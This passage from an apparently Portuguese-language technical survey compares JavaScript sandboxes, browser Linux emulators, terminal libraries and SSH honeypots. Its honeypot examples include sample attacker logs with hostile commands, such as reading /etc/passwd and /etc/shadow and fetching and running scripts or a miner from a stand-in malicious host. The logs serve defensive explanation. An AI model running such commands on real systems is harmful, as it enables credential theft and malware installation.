const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // lança VMError, process inacessível

Por vários anos, funcionou razoavelmente bem. Mas a superfície de ataque dos Proxy JavaScript é enorme. Cada nova funcionalidade da linguagem JS -- geradores, iteradores assíncronos, Symbol.toPrimitive, Error.prepareStackTrace, os slots internos de Promise -- é um vetor de contorno potencial.

A cronologia das CVEs é... algo. Tipo, olha isso:

Data CVE Mecanismo
Out 2022 CVE-2022-36067 Fuga do contexto hospedeiro via Error.prepareStackTrace
Abr 2023 CVE-2023-29017 Vazamento de objeto hospedeiro via erro async não tratado
Abr 2023 CVE-2023-29199 Contorno da sanitização de exceções via handleException()
Abr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Mai 2023 CVE-2023-32314 Proxy em Error.name → Function → RCE
Jun 2023 CVE-2023-37466 Função async + estouro de pilha + Proxy.getPrototypeOf
Jun 2023 CVE-2023-37903 Worker thread + fuga por eval

Três CVEs críticas no mesmo mês (abril de 2023). TRÊS. EM UM MÊS. Após a CVE-2023-37903, o mantenedor oficialmente depreciou a biblioteca com a mensagem: "A biblioteca contém problemas de segurança críticos e não deve ser usada em produção."

O mantenedor a ressuscitou em outubro de 2025 com a versão 3.10.0, alegando ter corrigido tudo o que era conhecido na época. Uma nova fuga crítica (CVE-2026-22709, CVSS 9.8) foi divulgada em janeiro de 2026, seguida por um lote de outras onze em maio de 2026. Onze. O padrão não mudou e honestamente não acho que mudará algum dia.

O problema fundamental é arquitetural -- e é a lição que levou um tempo para todo o ecossistema aprender. Você não pode construir um sandbox seguro usando a mesma linguagem que você isola, no mesmo motor, no mesmo processo. A superfície de fuga é a implementação inteira do V8 -- e o V8 tem vários milhões de linhas de C++ que mudam constantemente. Cada nova funcionalidade JS potencialmente abre um novo caminho de ataque.

Veredito: Não usar para aplicações sensíveis à segurança. Mesmo na versão mais recente, novos contornos são descobertos a cada poucos meses. O próprio mantenedor reconheceu isso abertamente.


1.3 isolated-vm -- aquele que realmente funciona

isolated-vm adota a abordagem correta: usar a primitiva de isolamento nativa do V8, o Isolate. Cada Isolate V8 tem seu próprio heap, seu próprio coletor de lixo, seu próprio conjunto de nativos, e zero referência compartilhada com outros Isolates.

É a mesma fronteira que o Chrome usa entre as abas. É uma verdadeira barreira de segurança, não um truque de linguagem construído sobre Proxies.

import ivm from "isolated-vm";

// Cada isolate é seu próprio heap V8
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // limite em MB
const context = await isolate.createContext();
const jail = context.global;

// Passar dados através da fronteira requer serialização explícita
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Não pode alcançar o processo hospedeiro, o heap hospedeiro ou os módulos hospedeiros
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// Você pode encerrar abruptamente por timeout ou limite de memória
isolate.dispose(); // libera todo o heap

Os tipos Reference e ExternalCopy são a ponte de comunicação explícita. Uma Reference dá ao isolate um handle chamável para uma função hospedeira -- o isolate pode chamá-la mas não pode inspecionar seu fechamento ou protótipo. Um ExternalCopy serializa um valor (clone estruturado) através da fronteira do heap. Este modelo de ponte explícita não é prático, mas é o que torna o isolamento real.

Você pode definir limites de recursos estritos: memória (o isolate é encerrado se ultrapassar o limite), timeout de relógio de parede e timeout de CPU. O encerramento é real -- ele mata todo o Isolate V8, não apenas um timeout JS que pode ser contornado com um while(true).

Limites: é JS apenas. Você não pode executar bash dentro dele. Não há noção de arquivos, permissões, rede ou processos. É exatamente a ferramenta certa para JS submetido pelo usuário (plugins, fórmulas, hooks de script), e a ferramenta errada para todo o resto. A autora do typescript-virtual-container mencionou que o considerou no início antes de perceber que "executar comandos shell" e "isolar JavaScript" são problemas fundamentalmente diferentes.

Memória: ~3-10 MB por isolate vazio, aumenta com o uso do heap.
Segurança: sólida. A fronteira V8 Isolate é a verdadeira primitiva de isolamento.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- um motor JS separado compilado em Wasm

Uma abordagem diferente: em vez de isolar dentro do V8, rodar um motor JavaScript completamente separado compilado em WebAssembly. O hospedeiro roda no V8/Node. O convidado roda no QuickJS-dentro-Wasm. O sandbox Wasm fornece a fronteira de isolamento.

QuickJS é mais uma obra de Fabrice Bellard (o mesmo cara por trás do QEMU, FFmpeg, JSLinux, TinyEMU -- essa pessoa não é real, sério, como é que uma única pessoa faz tudo isso?). É um pequeno motor JS compatível com o padrão ES2023 escrito em C, e compilado em Wasm tem apenas cerca de 500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Executa no QuickJS, completamente separado do V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS é um pequeno motor JavaScript compatível com ES2023 escrito em C. Compilado em Wasm, tem cerca de 500 KB para a variante síncrona, ~1 MB para a variante assíncrona (Asyncify). O gerenciamento de memória é manual -- cada valor que você extrai da VM deve ser explicitamente liberado, o que é um pouco chato mas previne surpresas de GC entre fronteiras. Uma troca divertida!

O wrapper @sebastianwessel/quickjs adiciona uma API mais ergonômica por cima, com um sistema de arquivos virtual opcional, suporte a fetch e stubs de módulos Node.js:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

O modelo de segurança é diferente do isolated-vm: o modelo de memória linear do Wasm faz com que o convidado não possa acessar diretamente os objetos do heap V8. A superfície de ataque é a interface hospedeiro↔Wasm (imports/exports), não toda a linguagem JS. Isso é geralmente considerado mais robusto que os sandboxes baseados em Proxy.

O contra: QuickJS não tem o mesmo nível de otimização que o V8. Para cargas CPU-bound em JS, é 5 a 20 vezes mais lento que o V8. Para pequenos trechos de código e avaliações não confiáveis, isso geralmente não importa.

Memória: ~500 KB módulo Wasm + heap por instância.
Segurança: fronteira Wasm, considerada mais sólida que abordagens baseadas em Proxy.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- um runtime que coloca permissões em primeiro lugar

Deno adota uma filosofia completamente diferente: em vez de fazer sandbox dentro do Node, construir um novo runtime que é seguro por padrão. Eu realmente gosto dessa abordagem -- é o que Node.js deveria ter sido desde o começo, honestamente. Ryan Dahl (o criador original do Node.js) literalmente criou o Deno porque se arrependia de algumas decisões de design do Node.js, o que é bem louco quando se pensa nisso.

Cada capacidade sensível (leitura de arquivo, escrita de arquivo, rede, ambiente, subprocesso) requer um flag --allow-* explícito:

# Este só pode ler dentro de /data, nada mais
deno run --allow-read=/data script.ts

# Este só pode acessar um único domínio
deno run --allow-net=api.example.com script.ts

# Sem flags = nenhuma permissão
deno run untrusted.ts # não pode ler, escrever, rede, executar

O modelo de permissões é implementado no nível Rust/SO -- não é um truque JS. Quando código Deno chama Deno.readFile(), passa por uma operação Rust que verifica a tabela de permissões antes de tocar no sistema de arquivos. Você não pode contorná-lo a partir do JS porque a chamada de sistema nunca acontece se a permissão não for concedida.

Para executar código verdadeiramente não confiável, os Workers Deno (Web Workers) fornecem um segundo isolate no mesmo processo, cada um com seu próprio conjunto de permissões. Você pode lançar um worker com zero permissões e se comunicar com ele via postMessage.

Deno 2 (lançado em outubro de 2024) adicionou compatibilidade npm completa e shims de compatibilidade Node.js, o que melhorou consideravelmente sua adoção para casos de uso no lado do servidor.

A troca: o modelo de segurança do Deno é excelente para código em que você poderia confiar parcialmente. Para código completamente não confiável que poderia ser adversarial, o modelo de permissões não ajuda -- você precisa de uma fronteira Isolate (isolated-vm) ou de um motor diferente (quickjs-emscripten), porque o Deno ainda usa V8 e atacantes sofisticados podem encontrar bugs no nível V8.


1.6 TC39 ShadowRealm -- a resposta padronizada (um dia)

O órgão de padronização JavaScript (TC39) tem uma proposta chamada ShadowRealm que tenta padronizar o que vm e vm2 tentavam fazer, mas com um modelo de segurança correto. Um ShadowRealm cria um contexto de execução JS isolado com seus próprios intrínsecos, nenhum acesso ao reino exterior, e uma interface de import/export cuidadosamente controlada.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Intrínsecos separados, sem acesso ao reino exterior
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm está disponível nos navegadores (Chrome 90+, Firefox 105+) mas ainda não está no Node.js estável em 2026. A proposta TC39 Compartments se baseia nele para isolamento no nível de módulos. São as respostas padronizadas de longo prazo, mas ainda não estão prontas para produção no lado do servidor Node. É uma dessas coisas que você vê chegando de longe mas... simplesmente ainda não chegou. Clássico TC39 xD


Resumo da família dos sandboxes

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Fronteira de isolamento nenhuma (escopo) Proxy (quebrado) V8 Isolate Wasm V8 Isolate + perms Rust
Limite de memória ❌ ❌ ✅ limite estrito ✅ heap Wasm parcial
Timeout CPU ❌ ✅ (contornável) ✅ estrito ✅ ✅
Segurança nenhuma quebrada sólida sólida sólida
Velocidade JS V8 nativo V8 nativo V8 nativo ~10x mais lento V8 nativo
Navegador ❌ ❌ ❌ ✅ ❌
Compatibilidade Node nativo ✅ ✅ shims parciais parcial
Status estável arriscado (novas CVEs) ✅ ativo ✅ ativo ✅ ativo
Sobrecarga RAM ~1 MB ~5-20 MB ~3-10 MB ~5-15 MB ~10-30 MB

O veredito: se a segurança importa para você, existem exatamente duas opções reais -- isolated-vm (extensão nativa, V8 Isolate, velocidade JS total) e quickjs-emscripten (Wasm, compatível com navegador, ~10x mais lento para cálculo intensivo). Todo o resto é "por favor não faça isso" (vm, vm2) ou um runtime que resolve um problema completamente diferente (Deno). ShadowRealm pode mudar o jogo um dia, mas ainda não é o caso.


Parte 2 -- Os emuladores Linux em JavaScript

É aqui que as coisas ficam realmente interessantes para mim. Estes são verdadeiros emuladores -- eles implementam um conjunto de instruções de CPU em JavaScript ou WebAssembly, iniciam uma imagem real de kernel Linux e executam binários reais do userspace. O isolamento vem do fato de que o convidado e o hospedeiro não compartilham nada: espaços de memória diferentes, fluxos de instruções diferentes.

O preço a pagar é enorme, mas o que você obtém é verdadeiramente notável: Linux real, rodando de verdade, no seu navegador ou processo Node. Tipo, é bem louco quando se pensa nisso, né?

2.1 v86 -- emulador PC x86 em JS + JIT Wasm

v86 por Fabrice (copy no GitHub) é o emulador x86 open-source mais capaz em JavaScript. Começou como um interpretador JS puro por volta de 2013 e evoluiu para um sistema JIT onde blocos básicos x86 são traduzidos para WebAssembly em tempo real, melhorando consideravelmente o desempenho.

O que ele emula:

  • CPU: x86-32 (IA-32), conjunto de instruções aproximadamente no nível Pentium 1. Sem 64-bit (x86-64) -- é um limite arquitetural de hardware, não uma funcionalidade faltando.
  • FPU: via Float64Array do JavaScript. O x87 é em precisão estendida 80-bit; os doubles JS são em 64-bit. Isso significa que os resultados em ponto flutuante podem diferir ligeiramente de uma CPU real.
  • Memória: configurável, mapeia para um SharedArrayBuffer ou ArrayBuffer no heap JS.
  • Hardware: 8254 PIT (timer), 8259 PIC (controlador de interrupções), controlador de teclado 8042 (PS/2), CMOS RTC, VGA com extensões SVGA e Bochs VBE, controlador IDE, controlador de disquete (8272A), placa de rede NE2000.
  • BIOS: usa SeaBIOS (BIOS x86 open-source).

O JIT funciona identificando blocos básicos (sequências de instruções x86 sem saltos), traduzindo-os em uma função WebAssembly, armazenando essa função em cache e chamando-a nas execuções seguintes do mesmo bloco. Caminhos de código quente obtêm desempenho Wasm nativo. Caminhos frios caem de volta no interpretador JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Capturar a saída serial (console kernel Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Enviar entrada para o convidado (digitar no shell)
emulator.serial0_send("ls /\n");

SOs suportados: Alpine Linux (excelente), Ubuntu 16.04/18.04 (i386 apenas), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (com ressalvas), MS-DOS.

Tempo de inicialização: 15-40 segundos para Alpine Linux a partir de uma imagem limpa. É inerente à inicialização real do kernel -- você não pode pulá-la. Sim, seus usuários vão assistir um kernel Linux iniciar no navegador deles. É o acordo xD

Memória mínima: 100-256 MB por instância. Só o cache de código Wasm JIT pode chegar a dezenas de MB para uma instância Linux ocupada.

Uso no Node.js: totalmente suportado. Não precisa de DOM -- a saída VGA pode ser ignorada se você só se interessa pela saída serial.

O que você não pode fazer: executar binários 64-bit, usar funcionalidades modernas do kernel (eBPF, io_uring, etc.), ou rodar mais que um punhado de instâncias simultaneamente sem atingir os limites de memória.

npm: v86 -- atualizado continuamente, última publicação no mesmo dia enquanto escrevo.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux e TinyEMU -- o trabalho do Bellard, em duas vezes

JSLinux é o próprio emulador Linux em JavaScript de Fabrice Bellard -- o primeiro de todos, publicado em 2011. Continuo mencionando Bellard neste artigo porque ele não para de aparecer: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Esse cara é algo de outro nível. Realmente uma das contribuições técnicas individuais mais impressionantes da história do software, sem exagero.

O JSLinux original era um interpretador x86 puro JS. Em 2016, Bellard escreveu o TinyEMU (um emulador RISC-V em C), o compilou para JavaScript via Emscripten, e isso se tornou a base do JSLinux atual. Portanto, o JSLinux atual é na verdade código C que gera JavaScript -- não é JS escrito à mão.

As notas técnicas no site do Bellard valem a pena serem lidas: o JSLinux atual roda uma CPU RISC-V 32 ou 64-bit (não x86), emulando um console VirtIO, uma rede VirtIO, um dispositivo de bloco VirtIO e um sistema de arquivos 9P para compartilhamento de arquivos com o hospedeiro. A demo JS é compilada a partir de C usando Emscripten -- não é JS escrito à mão.

O TinyEMU em si suporta:

  • RISC-V RV32IMAFDQC e RV64IMAFDQC (32 e 64-bit, com ponto flutuante, multiplicação, instruções comprimidas)
  • x86 via KVM (nativo apenas, sem emulação -- então a versão JS é RISC-V apenas)
  • Console VirtIO, rede, bloco, entrada, sistema de arquivos 9P

TinyEMU tem uma demonstração JavaScript fornecida via Emscripten. É a base do JSLinux e também é usado pelo container2wasm (veja seção 2.5).

Status JSLinux: sem pacote npm, sem API programável. É uma demo que você abre no seu navegador. A importância histórica é grande -- provou o conceito. A utilidade prática como biblioteca: nenhuma.

TinyEMU: não está no npm, código fonte C disponível em bellard.org/tinyemu.


2.3 jor1k -- emulador OR1K

jor1k é um emulador OpenRISC 1000 (OR1K) escrito em JavaScript por Sebastian Macke. É interessante historicamente porque o jor1k introduziu o suporte ao sistema de arquivos VirtIO 9P, que Bellard depois integrou no TinyEMU e JSLinux. A polinização cruzada entre esses projetos é intensa -- eles pegam emprestadas coisas uns dos outros, o que é honestamente uma das coisas mais legais do trabalho de emulação open-source.

Status: não é mais mantido ativamente, sem pacote npm. Arquivado neste ponto. Útil de conhecer principalmente pelo contexto histórico -- tipo se alguém mencionar jor1k numa conversa, agora você sabe o que é :)


2.4 CheerpX -- emulador x86 comercial para o navegador

CheerpX por Leaning Technologies é o emulador Linux x86 comercial de qualidade produção. Não é open-source, mas é significativamente mais capaz que o v86 para rodar um userspace real Debian/Ubuntu. Se você precisa de um VSCode real no navegador, é isso que você quer.

Diferenças chave com o v86:

  • Suporta um ISA mais amplo (mais extensões x86, melhor compatibilidade glibc)
  • Sistema de arquivos baseado em IndexedDB no navegador (persistente entre recarregamentos de página)
  • Suporte a pthread via SharedArrayBuffer (que requer os cabeçalhos COOP/COEP -- sim, esses cabeçalhos de segurança chatos)
  • Projetado para rodar VSCode, Python, Node.js e outras aplicações reais -- não apenas imagens de SO mínimas
  • Suporte profissional e SLA disponível (aka você pode xingar alguém se quebrar)

O caso de uso típico é "rodar uma aplicação Linux real no navegador sem servidor." Empresas o usam para IDEs baseados em navegador, tutoriais de código e documentação interativa.

// API CheerpX (simplificada)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

História com Node.js: CheerpX é primeiramente projetado para o navegador. O emulador subjacente poderia teoricamente funcionar no Node (é Wasm), mas a API e a documentação são inteiramente voltadas para uso no navegador. O uso no lado do servidor não é suportado.

Memória: similar ao v86 -- 200+ MB para uma instância Debian real.
Precificação: gratuito para projetos open-source, licença comercial para SaaS em produção.
Docs: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js em Wasm, não é emulação Linux

Os WebContainers são frequentemente colocados no mesmo saco que os emuladores Linux mas são arquiteturalmente diferentes. Eles não emulam x86. Eles não iniciam Linux. Eles rodam Node.js compilado em WebAssembly usando WASI. Essa distinção conta muito e passei tempo demais confuso sobre isso lol.

Acho que a confusão vem do marketing -- "rodar Node.js no seu navegador" parece emulação, mas é na verdade o próprio Node.js compilado em Wasm, não uma emulação Linux rodando Node.js dentro de uma VM. Uma coisa completamente diferente.

A arquitetura:

  1. Node.js é compilado em Wasm (um runtime WASI personalizado especificamente)
  2. Um Service Worker intercepta requisições de rede do servidor Node.js emulado e as roteia para a aba do navegador
  3. O sistema de arquivos vive na memória do navegador (sem E/S de disco)
  4. npm é uma implementação personalizada otimizada para uso no navegador
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Escrever arquivos
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Executar comandos Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Como isso executa Node.js real (compilado em Wasm), você tem npm real, APIs Node.js reais e resolução de módulos real. Você não tem um userspace Linux de propósito geral -- você não pode instalar pacotes de sistema com apt, executar binários compilados arbitrários, ou fazer muita coisa fora do ecossistema Node.js.

Pré-requisitos do navegador: SharedArrayBuffer (requer cabeçalhos COOP/COEP), suporte a Service Worker, Wasm moderno.

História com Node.js: projetado exclusivamente para uso no navegador. A API não funciona fora de um contexto de navegador.

npm: @webcontainer/api
Docs: webcontainers.io


2.6 container2wasm -- contêineres Docker compilados em Wasm

container2wasm é uma ferramenta (não um pacote npm) da NTT que pega uma imagem de contêiner Docker e a converte em um binário WebAssembly que pode rodar em qualquer hospedeiro Wasm -- incluindo um navegador. Quando vi isso pela primeira vez, realmente não acreditei que funcionava.

O mecanismo:

  • Para contêineres x86_64: embarca Bochs (um emulador x86, compilado em Wasm) + o sistema de arquivos raiz do contêiner
  • Para contêineres riscv64: embarca TinyEMU (Bellard de novo!) + o sistema de arquivos raiz do contêiner
  • O arquivo .wasm resultante inicia o emulador, monta o sistema de arquivos do contêiner e executa o ponto de entrada do contêiner
# Converter um contêiner Ubuntu 22.04 em Wasm
c2w ubuntu:22.04 out.wasm

# Executá-lo
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Ou servi-lo para uso no navegador
c2w --to-js ubuntu:22.04 /tmp/htdocs/

O .wasm resultante é grande -- um Ubuntu mínimo tem várias centenas de MB -- mas é completamente autônomo. Você pode enviar um .wasm por email para alguém e ele pode rodar Ubuntu no navegador. Essa frase não deveria fazer sentido mas aqui estamos.

GitHub: container2wasm/container2wasm


Resumo da família dos emuladores

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Arquitetura x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (proprietário) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Kernel real ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
Pacote npm ✅ ❌ ❌ CDN/API ✅ ❌ (ferramenta CLI)
Uso Node.js ✅ ❌ ❌ ❌ ❌ (navegador apenas) via Wasmtime
Uso navegador ✅ ✅ ✅ ✅ ✅ ✅
RAM/instância 150-256 MB ~64-128 MB ~64 MB 200+ MB ~100 MB ~200-500 MB
Tempo inicialização 15-40s 10-30s 10-30s 15-40s 2-5s 10-40s
Open source ✅ ✅ ✅ ❌ parcial ✅
Status ✅ muito ativo ✅ estável ⚠️ arquivado ✅ comercial ✅ ativo ✅ ativo

O que salta aos olhos nesta tabela: v86 é o único que é um pacote npm, roda tanto no navegador quanto no Node, e é open-source. É por isso que domina a conversa sobre "emuladores Linux em JavaScript". Todo o resto tem uma desvantagem -- JSLinux não tem API, jor1k está arquivado, CheerpX custa dinheiro, WebContainers é apenas navegador e específico para Node, container2wasm requer uma etapa de build e um CLI. Se você só precisa de "iniciar Linux em JavaScript", v86 é quase sempre o ponto de partida certo.


Parte 3 -- As stacks de terminal: xterm.js e node-pty

Dois pacotes voltam constantemente quando as pessoas constroem experiências do tipo shell. Não são sandboxes ou emuladores -- são a canalização UI e PTY -- mas são tão relacionados que me sentiria mal em deixá-los de fora. Além disso, usei ambos e são realmente bons.

3.1 xterm.js -- a renderização de terminal

xterm.js é um emulador de terminal para o navegador. Ele exibe uma tela de terminal (sequências de escape VT100/xterm) em um elemento <canvas>, gerencia entradas de teclado e expõe uma API para rotear dados.

Usado por: o terminal integrado do VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell e muitos outros.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Enviar dados para o terminal (exibido como texto)
term.write("$ ");
term.onData(data => {
  // data são as teclas pressionadas -- envia para seu backend
  socket.send(data);
});
socket.onmessage(msg => {
  // saída do backend -- exiba-a
  term.write(msg.data);
});

xterm.js é apenas a camada de renderização. Ele não executa shell. Ele não interpreta comandos. É um widget de exibição que você conecta ao backend de sua escolha. Muitas pessoas pensam que xterm.js "faz o terminal" mas é realmente só a tela -- você ainda precisa conectá-lo a algo que realmente execute comandos.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- criação de PTY

node-pty cria um pseudoterminal (PTY) no Node.js e te dá um handle de leitura/escrita nele. Usado com xterm.js, permite construir um terminal de navegador que fala com um shell real (bash, zsh, fish) rodando no servidor.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Enviar para o navegador xterm.js via WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Transmitir as teclas do navegador para o shell
  shell.write(data);
});

Este é o esquema padrão para IDEs cloud e terminais web: xterm.js (navegador) ↔ WebSocket ↔ node-pty ↔ bash real. Sem isolamento. O shell executa com todas as permissões do processo Node.js (ou do usuário que o executa).

Mantido por: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Parte 4 -- Os honeypots SSH

Os honeypots são projetados para serem atacados. O objetivo é parecer real o suficiente para que atacantes interajam com eles, enquanto registram tudo o que fazem para inteligência de ameaças. SSH é o alvo principal porque é o serviço mais atacado na internet -- se você expor a porta 22 em um IP público, verá tentativas de varredura automatizadas em literalmente minutos. Experimente um dia, é bem horrível o quão rápido acontece.

A qualidade de um honeypot é medida por duas coisas: fidelidade (o quão convincentemente imita um sistema real) e telemetria (quanta informação útil ele captura). Essas duas coisas estão em tensão. Um honeypot de alta fidelidade é mais difícil de construir e mais arriscado de operar.

Esta seção é o que finalmente me levou a construir o módulo HoneyPot no typescript-virtual-container, então tenho algumas opiniões aqui.

4.1 Cowrie -- o padrão-ouro

Cowrie é um honeypot SSH e Telnet de interação média-a-alta baseado em Python. É o honeypot SSH mais implantado na comunidade de pesquisa e segurança.

Arquitetura:

  • Camada de protocolo: implementação real do protocolo SSH (Twisted Conch), então atacantes têm handshakes reais, troca de chaves real, autenticação real
  • Camada de shell: um sistema de arquivos falso (semelhante ao Debian 5.0) e um interpretador de shell parcial que responde a comandos comuns
  • Modo proxy: pode redirecionar para um sistema real por trás (modo alta interação), registrando tudo que passa
  • Modo LLM (adição recente): usa um modelo de linguagem para gerar respostas dinâmicas a comandos que não sabe tratar -- sim, Cowrie agora tem um modo IA. Vivemos uma época louca.
# O que Cowrie captura
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie salva os arquivos baixados (via wget/curl/SFTP/SCP) para análise de malware. Integra-se com Splunk, Elasticsearch e outras plataformas SIEM.

Fidelidade: média-alta. Convincente o bastante para enganar bots automatizados (que representam 99% dos atacantes SSH -- a maioria são apenas scripts estúpidos que tentam root/password). Humanos sofisticados podem identificá-lo por impressão digital no entanto, geralmente bem rápido.

Linguagem: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- o predecessor do Cowrie

Kippo é o honeypot SSH de interação média original no qual Cowrie foi baseado. Mesma ideia básica: protocolo SSH real, sistema de arquivos falso, shell parcial. Cowrie o suplantou completamente neste ponto -- Kippo está arquivado e ninguém deveria usá-lo em 2026. Mencionado aqui puramente para completude histórica, já que você pode vê-lo referenciado em posts de blog antigos e artigos de segurança.

GitHub: desaster/kippo -- arquivado


4.3 endlessh -- o tarpit SSH

endlessh é um honeypot degenerado: ele mantém conexões SSH abertas transmitindo lentamente os dados de banner a 1 byte por segundo (ou menos). Um cliente SSH que se conecta a ele vai ficar preso indefinidamente -- nunca chegará à autenticação porque o servidor nunca termina de enviar o banner.

O objetivo não é inteligência de ameaças mas pura negação de recurso: ocupar os threads de varredura dos atacantes para que não possam alcançar alvos reais tão rápido. É honestamente um pouco diabólico no bom sentido. Você não aprende nada sobre o atacante -- você só faz ele perder tempo. Há algo profundamente satisfatório nisso.

// Todo o comportamento protocolar do endlessh:
// Enviar: "SSH-2.0-OpenSSH_" e então adicionar lentamente caracteres aleatórios
// Nunca fechar a conexão
// O scanner do atacante expira após N segundos

Nenhum comando é capturado. Nenhuma autenticação é testada. Apenas tempo de conexão.

Escrito em: C
GitHub: skeeto/endlessh


4.4 sshesame -- o honeypot "deixa todo mundo entrar"

sshesame aceita todas as conexões SSH (qualquer usuário, qualquer senha, qualquer chave) e registra tudo. É um honeypot de interação zero: não responde a comandos, só deixa atacantes "entrarem" e registra cada tecla que eles digitam.

2024-01-15 03:22:11 Conexão de 45.33.32.156
  Usuário: root, Senha: password123 -- aceito
  Comandos digitados:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Desconectado após 47s

Útil para coleta de credenciais: você acumula rapidamente os nomes de usuário e senhas que os bots tentam, o que te diz quais credenciais padrão estão sendo bruteforcidas ativamente. Spoiler: é sempre root/password, admin/admin e root/123456. Sempre.

GitHub: jaksi/sshesame


4.5 Lyrebird -- framework de honeypot baseado em Docker

lyrebird/honeypot-base é uma imagem base Docker para construir honeypots de serviços de rede. Não é especificamente um honeypot SSH -- é um framework para construir honeypots para qualquer protocolo.

A imagem base fornece um framework de registro, um sistema de plugins para protocolos e configurações Docker Compose para honeypots multi-serviço. Você a estende para simular serviços específicos.

Docker Hub: lyrebird/honeypot-base


4.6 Construir um honeypot SSH em Node.js -- o método ingênuo, e por que falha

Antes do typescript-virtual-container, construir um honeypot SSH em Node.js significava combinar a biblioteca real ssh2 com uma simulação manual de comandos. Muito tedioso, muito incompleto, mas... é um rito de passagem neste ponto:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Registrar a tentativa
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Deixar todo mundo entrar
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Resposta simulada
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Isso "funciona" no sentido de que captura credenciais e comandos. Mas é obviamente falso assim que um atacante sofisticado investiga um pouco. uname -a retorna a string correta mas ls /etc retorna "command not found" -- cheira a armadilha. O sistema de arquivos não existe. Comandos não encadeiam. Pipes não funcionam. Variáveis não se expandem.

Um atacante competente identificará seu honeypot nos primeiros cinco comandos. Scripts automatizados que procuram comportamento do tipo Cowrie também o detectarão imediatamente. Foi aparentemente isso que levou a autora do typescript-virtual-container a construir algo que realmente interpreta comandos de verdade -- mais sobre isso na Parte 5.


Resumo da família dos honeypots

Cowrie Kippo endlessh sshesame Lyrebird Ingênuo ssh2
Nível de interação médio-alto médio zero zero variável baixo
Protocolo SSH real ✅ ✅ ❌ (tarpit) ✅ variável ✅
Fidelidade do shell média média n/a nenhuma variável mínima
